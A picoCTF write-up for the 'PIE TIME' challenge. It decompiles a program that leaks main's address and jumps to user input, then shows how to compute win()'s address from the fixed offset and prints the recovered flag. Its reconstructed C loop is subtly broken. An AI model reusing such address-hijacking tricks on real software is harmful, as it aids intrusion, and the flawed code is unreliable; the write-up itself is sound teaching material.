Post

PicoCTF - PIE TIME

PicoCTF Writeup for PIE TIME Challenge

PicoCTF - PIE TIME

PicoCTF Challenge: https://play.picoctf.org/practice/challenge/490?category=6&page=1

PIE TIME

Author: Darkraicg492

Description

Can you try to get the flag? Beware we have PIE!
Additional details will be available after launching your challenge instance.

Hints

1st - Can you figure out what changed between the address you found locally and in the server output?

Resources:

Source Code: /vuln.c
Binary: /vuln

1
$ nc rescued-float.picoctf.net 59097

Decompile

We can decompile the binary to a pseudo C like this (Binary Ninja):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
00401289    void segfault_handler() __noreturn

00401289    {
00401289        puts("Segfault Occurred, incorrect add…");
004012a2        exit(0);
004012a2        /* no return */
00401289    }

/* ... */

004012a7    int win()
004012a7    /* all puts, putchar should be changed to printf() */

004012a7    {
004012a7        puts("You won!");
004012cd        FILE* fp = fopen("flag.txt", "r");
004012cd        
004012db        if (!fp)
004012db        {
004012ff            puts("Cannot open file.");
004012ee            exit(0);
004012ee            /* no return */
004012db        }
004012db        

00401322        char i = fgetc(fp);
00401322        while (i != EOF) { /* 0xff => EOF */
00401322            putchar(i)
00401322        }

00401322        
00401329        putchar("\n"); /* \n in ASCII code (line-break) */
0040133c        return fclose(fp);
004012a7    }


/* ... */

0040133d    int main()
0040133d    /* int32_t argc => Not used */
0040133d    /* char** argv => Not used */
0040133d    /* char** envp => Not used */

0040133d    {
0040133d        void* fsbase;
00401349        int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
00401349        /* No needed */

00401364        signal(SIGSEGV, segfault_handler); /* 0xb => SIGSEGV */
00401382        setvbuf(stdout, NULL, _IONBF, 0);
00401382        /* __TMC_END__ => stdout */
00401382        /* nullptr => NULL */
00401382        /* 2 => _IONBF (no buffering) */


0040139a        printf("Address of main: %p\n", &main);
0040139a        /* &main to show memory pointer */

004013ab        printf("Enter the address to jump to, ex => 0x12345: ");
004013c3        unsigned long buffer;
004013c3        /* var_20 => buffer (stores a memory address) */
004013c3        scanf("%lx", &buffer);
004013c3        /* __isoc99_scanf => scanf */

004013db        printf("Your input: %lx\n", buffer);

004013ec        void (*target_func)(void) = (void (*)())buffer;
004013ec        /* need to declare as a function before jump */
004013ec        target_func();
004013ec        /* jump to the memory location that user provided */    

004013ec        
00401400        /* Useless from below here */
00401400        if (rax == *(uint64_t*)((char*)fsbase + 0x28))
00401408            return 0;
00401408        
00401402        __stack_chk_fail();
00401402        /* no return */
0040133d    }

This is the full source code (decompiled):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void segfault_handler()
{
    printf("Segfault Occurred, incorrect address.");
    exit(0);
}

int win()
{
    printf("You won!");
    FILE* fp = fopen("flag.txt", "r");   
    if (!fp)
    {
        printf("Cannot open file.");
        exit(0);
    } 

    char i = fgetc(fp);
    while (i != EOF) {
        printf("%c", i)
    }
 
    printf("\n");
    return fclose(fp);
}

int main()
{
    signal(SIGSEGV, segfault_handler);
    setvbuf(stdout, NULL, _IONBF, 0);

    printf("Address of main: %p\n", &main);
    printf("Enter the address to jump to, ex => 0x12345: ");
    unsigned long buffer;
    scanf("%lx", &buffer);
    printf("Your input: %lx\n", buffer);

    void (*target_func)(void) = (void (*)())buffer;
    target_func(); 
}

Analysis

This program directly jumps to the memory address provided by the user. Additionally, it automatically reveals the address of the main() function. By using this address, the user can infer the address of the win() function. If the correct address is entered, the program will print the flag.

1
004012a7    int64_t win() /* 0x0004012a7 */
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
therustymate-picoctf@webshell:~$ vuln
-bash: vuln: command not found

therustymate-picoctf@webshell:~$ ./vuln
Address of main: 0x564a8857633d
Enter the address to jump to, ex => 0x12345: 0x0004012a7
Your input: 4012a7
Segfault Occurred, incorrect address.

therustymate-picoctf@webshell:~$ ./vuln
Address of main: 0x55958f4eb33d
Enter the address to jump to, ex => 0x12345: 0x4012a7
Your input: 4012a7
Segfault Occurred, incorrect address.

therustymate-picoctf@webshell:~$ ./vuln
Address of main: 0x56426097933d
Enter the address to jump to, ex => 0x12345: 004012a         
Your input: 4012a
Segfault Occurred, incorrect address.

therustymate-picoctf@webshell:~$ ./vuln
Address of main: 0x55d43b65e33d
Enter the address to jump to, ex => 0x12345: 0x55343b64012a
Your input: 55343b64012a
Segfault Occurred, incorrect address.

therustymate-picoctf@webshell:~$ ./vuln
Address of main: 0x560ada01333d
Enter the address to jump to, ex => 0x12345: 0x560ada0132ㅁ7           
Your input: 560ada0132
Segfault Occurred, incorrect address.

Notice that the main() function offset 33d does not change.
Therefore, the base address is 0xXXXXXXXX+func (3 bytes)

This suggests that the input should be: 0xXXXXXXXX2a7 in order to jump to the win() function.

1
2
3
4
5
6
therustymate-picoctf@webshell:~$ nc rescued-float.picoctf.net 59097
Address of main: 0x5fd38eed433d
Enter the address to jump to, ex => 0x12345: 0x5fd38eed42a7
Your input: 5fd38eed42a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_00dea386}

The flag is: picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_00dea386}

This post is licensed under CC BY 4.0 by the author.